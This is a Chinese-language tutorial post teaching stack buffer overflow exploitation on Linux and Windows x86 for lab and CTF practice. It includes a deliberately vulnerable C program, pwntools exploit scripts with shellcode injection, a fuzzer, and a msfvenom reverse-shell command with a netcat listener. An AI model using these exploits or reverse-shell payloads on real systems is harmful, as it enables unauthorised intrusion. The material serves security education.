[逆向工程] 002 二進位漏洞利用(Binary Exploitation)入門實作指南

前言:為什麼要學 Binary Exploitation?

在滲透測試(Penetration Testing)的世界裡,二進位漏洞利用是最核心也最具威力的技術之一。從早年的 Morris Worm 到近年各種 CVE 漏洞,Buffer Overflow 類型的攻擊從未消失。然而對許多新手來說,這也是最令人卻步的一塊——因為它要求你理解「程式在記憶體裡到底長什麼樣子」。

這篇文章會帶你走過完整的學習路徑,包含五個階段:

  1. Python 3 腳本基礎
  2. 組合語言(Assembly)與電腦架構
  3. Linux x86 Stack-Based Buffer Overflow
  4. Windows x86 Stack-Based Buffer Overflow
  5. 綜合實戰練習

每個階段都會附上實做範例和學習時的實用建議。


環境準備

在開始之前,先把工具備齊。以下是推薦的環境:

# 建議使用 Kali Linux 或 Ubuntu,可以用 VM 或 WSL2
# 安裝必要工具
sudo apt update && sudo apt install -y \
    python3 python3-pip \
    gdb \
    nasm \
    gcc-multilib \
    ltrace strace \
    net-tools

# 安裝 GDB 加強套件 pwndbg(強烈推薦)
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh

# 安裝 Python 漏洞利用框架
pip3 install pwntools

學習者小提醒: 如果你在用 Windows,強烈建議安裝 WSL2 + Ubuntu 來練習 Linux 部分的題目。Windows 部分則可以開一台 Windows 7/10 的 VM(記得關掉 DEP 和 ASLR 來練習基礎題)。


第一階段:Python 3 腳本基礎

Binary Exploitation 的 exploit 幾乎都是用 Python 寫的。你不需要成為 Python 大師,但以下能力是必備的:

必學重點

  • 字串與 bytes 的轉換:exploit 操作的是原始位元組(bytes),不是文字。
  • struct 模組:用來將整數轉成特定格式的 bytes。
  • socket 程式設計:遠端 exploit 需要透過網路送 payload。
  • subprocess 模組:與本地程式互動。

實做練習:用 Python 送一段 payload

#!/usr/bin/env python3
"""
最基本的 exploit 骨架 — 送一段超長字串給程式,觀察行為
"""
import struct
import socket

# 目標位址(練習環境)
target_ip = "127.0.0.1"
target_port = 9999

# 建立 payload
# struct.pack("<I", 0xdeadbeef) 會把整數轉成 little-endian 的 4 bytes
offset = 512
padding = b"A" * offset
eip_overwrite = struct.pack("<I", 0xdeadbeef)  # 覆蓋回傳位址

payload = padding + eip_overwrite

# 送出
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(payload)
s.close()

print(f"[*] 已送出 {len(payload)} bytes 的 payload")

進階:使用 pwntools(推薦)

#!/usr/bin/env python3
from pwn import *

# pwntools 讓 exploit 開發變得更簡潔
context.arch = 'i386'       # 指定架構
context.os = 'linux'

# 連線到目標
# p = remote("127.0.0.1", 9999)   # 遠端
p = process("./vulnerable_app")    # 本地

# 建立 payload
payload = b"A" * 512
payload += p32(0xdeadbeef)  # p32() 等同 struct.pack("<I", ...)

# 送出並互動
p.sendline(payload)
p.interactive()  # 如果成功拿到 shell,可以直接操作

第二階段:組合語言與電腦架構

這是整個學習路徑中最關鍵、也最容易讓人打退堂鼓的階段。但請記住:你不需要用組語寫程式,你需要的是讀懂它。

必懂概念

CPU 暫存器(x86 32-bit)

暫存器 用途 在 Exploit 中的意義
EAX 累加器、函式回傳值 常用來存放系統呼叫號碼
EBX 基底暫存器 系統呼叫的第一個參數
ECX 計數器 系統呼叫的第二個參數
EDX 資料暫存器 系統呼叫的第三個參數
ESP 堆疊指標(Stack Pointer) 指向堆疊頂端,exploit 的核心
EBP 基底指標(Base Pointer) 函式的堆疊框架基底
EIP 指令指標(Instruction Pointer) 下一條要執行的指令,控制它 = 控制程式

記憶體佈局(由高位址到低位址)

┌─────────────────────┐  高位址 (0xFFFFFFFF)
│     Kernel Space     │
├─────────────────────┤
│       Stack ↓        │  ← 區域變數、函式參數、回傳位址
├─────────────────────┤
│         ...          │
├─────────────────────┤
│       Heap  ↑        │  ← malloc/new 動態分配
├─────────────────────┤
│   BSS (未初始化)      │
├─────────────────────┤
│   Data (已初始化)     │
├─────────────────────┤
│       Text           │  ← 程式碼(機器指令)
└─────────────────────┘  低位址 (0x00000000)

實做練習:用 GDB 觀察堆疊

先寫一個簡單的有漏洞的 C 程式:

// vulnerable.c
#include <stdio.h>
#include <string.h>

void secret_function() {
    printf("恭喜!你成功控制了程式流程!\n");
}

void vulnerable_function(char *input) {
    char buffer[64];        // 只配置 64 bytes
    strcpy(buffer, input);  // 危險!沒有檢查長度
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("用法: %s <輸入>\n", argv[0]);
        return 1;
    }
    vulnerable_function(argv[1]);
    printf("程式正常結束\n");
    return 0;
}

編譯時關閉保護機制(僅限練習用):

# -m32: 編譯為 32-bit
# -fno-stack-protector: 關閉 Stack Canary
# -z execstack: 允許堆疊執行
# -no-pie: 關閉 PIE(位址隨機化)
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c

用 GDB 觀察:

gdb ./vulnerable

# 在 vulnerable_function 設斷點
(gdb) break vulnerable_function
(gdb) run (python3 -c "print('A' * 80)")

# 觀察暫存器
(gdb) info registers

# 觀察堆疊
(gdb) x/32wxesp

# 觀察 EIP 被覆蓋的情況
(gdb) run $(python3 -c "print('A' * 100)")
# 你應該會看到 Segmentation fault,EIP = 0x41414141 (AAAA)

當你看到 EIP 被覆蓋成 0x41414141 的那一刻,你就真正理解 Buffer Overflow 了。


第三階段:Linux x86 Stack-Based Buffer Overflow

攻擊流程總覽

1. 找到漏洞點(通常是 strcpy、gets、scanf 等不安全函式)
       ↓
2. 計算 offset(buffer 起點到 EIP 的距離)
       ↓
3. 找到跳轉目標(Shellcode 位址或 ret2libc 的函式位址)
       ↓
4. 組裝 payload 並送出
       ↓
5. 拿到 Shell!

實做:完整的 Buffer Overflow 攻擊

Step 1:計算 Offset

# 使用 pwntools 的 cyclic pattern
python3 -c "from pwn import *; print(cyclic(200).decode())" > pattern.txt

# 用 pattern 當輸入,觸發 crash
gdb ./vulnerable
(gdb) run $(cat pattern.txt)
# 假設 crash 時 EIP = 0x61616172

# 計算 offset
python3 -c "from pwn import *; print(cyclic_find(0x61616172))"
# 輸出: 76  ← 這就是 buffer 到 EIP 的距離

Step 2:找到 secret_function 的位址

objdump -d vulnerable | grep secret_function
# 假設輸出: 08049196 <secret_function>:

Step 3:撰寫 Exploit

#!/usr/bin/env python3
"""
exploit_linux.py — 控制 EIP 跳到 secret_function
"""
from pwn import *

# 設定環境
context.arch = 'i386'
context.os = 'linux'
context.log_level = 'info'

# 目標程式
binary = './vulnerable'

# 參數
offset = 76
target_addr = 0x08049196  # secret_function 的位址

# 組裝 payload
payload = b"A" * offset           # 填滿 buffer + saved EBP
payload += p32(target_addr)       # 覆蓋 EIP

# 執行
p = process([binary, payload])
print(p.recvall().decode())

Step 4:進階 — 注入 Shellcode

當沒有現成的函式可以跳轉時,我們需要注入自己的 shellcode:

#!/usr/bin/env python3
"""
exploit_shellcode.py — 注入 shellcode 取得 shell
前提:堆疊可執行(-z execstack)且無 ASLR
"""
from pwn import *

context.arch = 'i386'
context.os = 'linux'

binary = './vulnerable'
offset = 76

# Linux x86 execve("/bin/sh") shellcode
shellcode = asm(shellcraft.sh())

# NOP sled + shellcode + padding + 回傳位址
nop_sled = b"\x90" * 32                              # NOP 滑道
padding = b"A" * (offset - len(nop_sled) - len(shellcode))

# 回傳位址需要指向 NOP sled 的某處
# 可以透過 GDB 觀察 ESP 在 crash 時的值來決定
ret_addr = p32(0xffffce60)  # 根據你的環境調整

payload = nop_sled + shellcode + padding + ret_addr

p = process([binary, payload])
p.interactive()

第四階段:Windows x86 Stack-Based Buffer Overflow

Windows 的 Buffer Overflow 原理與 Linux 相同,但工具和細節有所不同。

工具準備

  • Immunity Debugger + mona.py:Windows 上的主力除錯工具
  • msfvenom:用來產生 Windows shellcode

關鍵差異

項目 Linux Windows
除錯器 GDB + pwndbg Immunity Debugger + mona
Shellcode execve(“/bin/sh”) WinExec(“cmd”) 或 reverse shell
壞字元 依程式而定 常見 \x00 \x0a \x0d
跳轉方式 直接跳到堆疊 JMP ESP(在 DLL 中找)

實做:Windows 遠端 Buffer Overflow

Step 1:Fuzzing — 找到崩潰點

#!/usr/bin/env python3
"""
fuzzer.py — 逐漸增加輸入長度,找到程式崩潰的臨界點
"""
import socket
import time

target_ip = "192.168.1.100"  # Windows VM 的 IP
target_port = 9999

buffer_size = 100

while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((target_ip, target_port))

        payload = b"A" * buffer_size
        print(f"[*] 送出 {buffer_size} bytes...")
        s.send(payload + b"\r\n")
        s.recv(1024)
        s.close()

        buffer_size += 100
        time.sleep(1)

    except Exception as e:
        print(f"[!] 程式在 {buffer_size} bytes 時崩潰!")
        break

Step 2:找到精確 Offset

#!/usr/bin/env python3
"""
find_offset.py — 使用 cyclic pattern 找到精確的 EIP offset
"""
from pwn import *
import socket

target_ip = "192.168.1.100"
target_port = 9999

# 產生 pattern(長度根據 fuzzing 結果決定)
pattern = cyclic(3000)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(pattern + b"\r\n")
s.close()

# 在 Immunity Debugger 中查看 EIP 的值
# 然後用以下指令計算 offset:
# python3 -c "from pwn import *; print(cyclic_find(0x????????))"

Step 3:找到 JMP ESP 指令

在 Windows 上,我們通常不直接跳到堆疊位址(因為位址不可預測),而是在 DLL 中找一條 JMP ESP 指令:

# 使用 mona.py(在 Immunity Debugger 的命令列)
!mona jmp -r esp -cpb "\x00\x0a\x0d"
# -cpb: 排除壞字元
# 會列出所有可用的 JMP ESP 位址

Step 4:產生 Shellcode 並組裝最終 Exploit

#!/usr/bin/env python3
"""
exploit_windows.py — 完整的 Windows Buffer Overflow exploit
"""
import socket
import struct

target_ip = "192.168.1.100"
target_port = 9999

# 參數(根據前面步驟的結果填入)
offset = 2003
jmp_esp = struct.pack("<I", 0x625011AF)  # 從 mona 找到的 JMP ESP 位址

# 用 msfvenom 產生 reverse shell shellcode:
# msfvenom -p windows/shell_reverse_tcp LHOST=你的IP LPORT=4444 \
#   -b "\x00\x0a\x0d" -f python -v shellcode
shellcode = b""
shellcode += b"\xdb\xc0\xd9\x74\x24\xf4..."  # 替換成實際的 shellcode

# 組裝 payload
payload = b""
payload += b"A" * offset        # 填充到 EIP
payload += jmp_esp              # 覆蓋 EIP → JMP ESP
payload += b"\x90" * 16         # NOP sled(給 decoder 空間)
payload += shellcode            # 實際的 shellcode

# 送出
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(payload + b"\r\n")
s.close()

print("[*] Exploit 已送出!檢查你的 listener...")
# 記得先開 listener: nc -lvnp 4444

第五階段:綜合實戰與進階方向

練習平台推薦(台灣可用)

平台 說明 適合程度
Hack The Box 本文的主要參考來源,Academy 課程品質極高 初學→進階
OverTheWire (Narnia) 免費的 Buffer Overflow 練習 入門
pwnable.kr 韓國出品的 pwn 練習題 初學→進階
pwnable.tw 台灣出品!高品質 pwn 題目 中階→高階
picoCTF CMU 主辦的 CTF,有很多 Binary 題 入門

進階學習方向

當你掌握了基本的 Stack-Based Buffer Overflow 之後,可以繼續探索:

繞過保護機制: 現代系統都有多層防護,學會繞過它們才是真正的挑戰。包括 Return-to-libc(繞過 NX/DEP)、ROP Chain(Return-Oriented Programming)、繞過 ASLR(資訊洩漏技巧),以及繞過 Stack Canary。

其他漏洞類型: 除了堆疊溢位之外,還有 Heap Exploitation(堆積利用)、Format String Vulnerability(格式化字串漏洞)、Use-After-Free,以及 Integer Overflow 等值得深入研究。

64-bit 環境: x86_64 的暫存器更多、呼叫慣例不同(參數透過暫存器傳遞而非堆疊),exploit 的寫法也有差異。


常見問題 FAQ

Q:我需要很強的程式能力才能學 Binary Exploitation 嗎?
不需要是程式高手,但你需要理解 C 語言的基本概念(指標、陣列、函式呼叫),以及用 Python 寫簡單的腳本。邊做邊學是最有效的方式。

Q:我的 exploit 在自己的環境可以用,但在目標上不行?
最常見的原因是位址偏移不同(不同的系統環境、不同的 library 版本)。試著加長 NOP sled,或者用 GDB 在目標環境上確認位址。

Q:學 Binary Exploitation 對找工作有幫助嗎?
在台灣,資安產業持續成長。Binary Exploitation 的技能在紅隊演練、漏洞研究、惡意程式分析等領域都非常搶手。許多台灣的資安公司都在找具備這類技能的人才。


結語

Binary Exploitation 的學習曲線確實陡峭,但當你第一次成功覆蓋 EIP、第一次彈出 shell 的時候,那種成就感是無可比擬的。

透過這個順序:Python 基礎 → 理解記憶體與暫存器 → Linux BOF → Windows BOF → 繞過保護機制。每一步都扎實走過,不要跳級。

飛飛
飛飛

講師學歷:臺科資工所、逢甲資工系畢業。
技術專長:OSINT、滲透測試、網站開發、專業易懂教育訓練。
證照書籍:OSCP、OSCE³、著《資安這條路:領航新手的 Web Security 指南》。
教學經驗:60+ 企業教學經驗、指導過上百位學員。
教學特色:新手友善、耐心指導、擅長圖解(流程圖、心智圖)引導學習。
社群經驗:目前經營全臺資安社群 CURA,曾任臺科資安社社長、逢甲黑客社社長。
社群交流:LINE 社群《飛飛的資安大圈圈》,即時分享經驗、鼓勵交流。
社群分享:FB 粉專《資安這條路,飛飛來領路》,分享文章與圖卡整理。
個人網站:feifei.tw 分享資安技術文章;pbtw.tw 分享 AI 相關應用;ssdlc.feifei.tw 分享軟體安全開發流程文章。